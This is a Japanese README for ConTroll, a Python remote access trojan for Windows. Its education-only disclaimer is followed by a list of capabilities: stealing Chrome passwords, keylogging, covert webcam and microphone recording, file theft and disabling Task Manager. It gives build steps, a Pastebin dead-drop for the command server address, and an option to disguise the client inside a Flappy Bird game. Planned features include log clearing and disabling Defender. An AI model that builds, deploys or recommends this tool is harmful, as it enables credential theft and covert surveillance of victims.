
免責事項
ConTrollは教育/研究目的のみで使用してください。作者は、提供されたツール/ソースコード/ファイルの使用方法について一切の責任を負いません。作者および関係者は、ConTrollに関連して提供されたファイルの使用に関連するいかなる損失や損害についても責任を負いません。ConTrollまたは含まれるファイルを使用することにより、自己責任で使用することに同意したものとみなされます。
繰り返しますが、ConTrollおよび含まれるすべてのファイルは教育および研究目的のみを意図しています。ConTrollは、自身のペネトレーションテストラボで使用するか、テスト対象の所有者から明示的な同意を得た場合にのみ使用してください。
ConTroll - リモートアクセス型トロイの木馬 (RAT)
プレゼンテーションビデオはこちら
感染したWindowsマシンに対して管理制御を確立するリモートアクセス型トロイの木馬を作成しました。

ビデオプレゼンテーション以降の更新
- クライアントが通信するIPアドレスとポートをリモートで更新
- サーバー実行時にIPアドレスを入力
- タスクマネージャーの無効化
機能
- 被害者の画面をロック
- サーバーに自動的に再接続
- カスタムポップアップボックスを作成
- 被害者のマシンからファイルを取得
- 被害者のマシン情報を取得
- Chromeに保存されたパスワードを盗む
- システムのウェブカメラを起動し、ビデオを録画
- システムのマイクを起動し、オーディオを録音
- 被害者のマシンで実行中の任意のプロセスを強制終了
- キーロガー機能(キーストロークとスクリーンショット)によるユーザー行動の監視
- タスクマネージャーの無効化(警告: ローカルで実行する場合はこれを無効にしたいかもしれません)
必要条件
バイナリをビルドするには32ビットのOSアーキテクチャが必要です。そのため、コードを実行およびビルドするにはWin 32またはUnix 32システムを使用してください。
- Python 2.x
- opencv
- numpy
- pyhook
- pythoncom
- pyinstaller
- pygame
- py2exe
- pyAudio
使用方法
新機能
PASTEBINアカウントを作成し、クライアントが応答を送信するIPアドレスとポート番号を記載した新しいペーストを作成します。IPアドレスとポート番号は、コロンで区切って 192.168.12.14:5000 のように記述します。投稿を作成したら、「RAW」をクリックします。これにより、IPアドレスとポート番号のみが表示されたページにリダイレクトされます。そのリンクをコピーし、client.pyw内の getIpAddress 関数に貼り付けます。何らかの理由でクライアントが使用するIPアドレスやポート番号を更新したい場合は、PASTEBINアカウントにログインして変更を加え、保存するとクライアントがその変更を適用します。
- リポジトリをクローンする
git clone https://github.com/Lithium95/ConTroll_Remote_Access_Trojan.git
- requirements.txtからopencvとnumpyをインストールする
python -m pip install -r requirements.txt
-
pyHookをダウンロードしてインストール
-
pythoncomをダウンロードしてインストール
-
pyAudioのホイールファイルをダウンロード
-
ホイールファイルをインストールする
python -m pip install PyAudio-0.2.11-cp27-cp27m-win32.whl
- pyinstallerを使用してクライアントバイナリをビルドする
python pyinstaller.py --onefile --windowed client.pyw
Flappy Birdゲームを使用しない場合は、次の2つの手順をスキップしてください。
- クライアント.exeをホストするローカルサーバーをセットアップする。live-serverを使用
- py2exeを使用してFlappy Birdゲームをビルドする
Flappy Birdゲームのexeは「dist」というフォルダに作成されます。
- サーバーを実行する
- クライアントが接続するのを待つ
今後の予定
- RATのクロスプラットフォーム対応
- システムログ、セキュリティログ、アプリケーションログのクリア
- サーバーとクライアント間の通信の暗号化
- ファイルのアクセス日時、作成日時、変更日時の編集
- RDP、UAC、Windows Defenderなどのサービスの有効化/無効化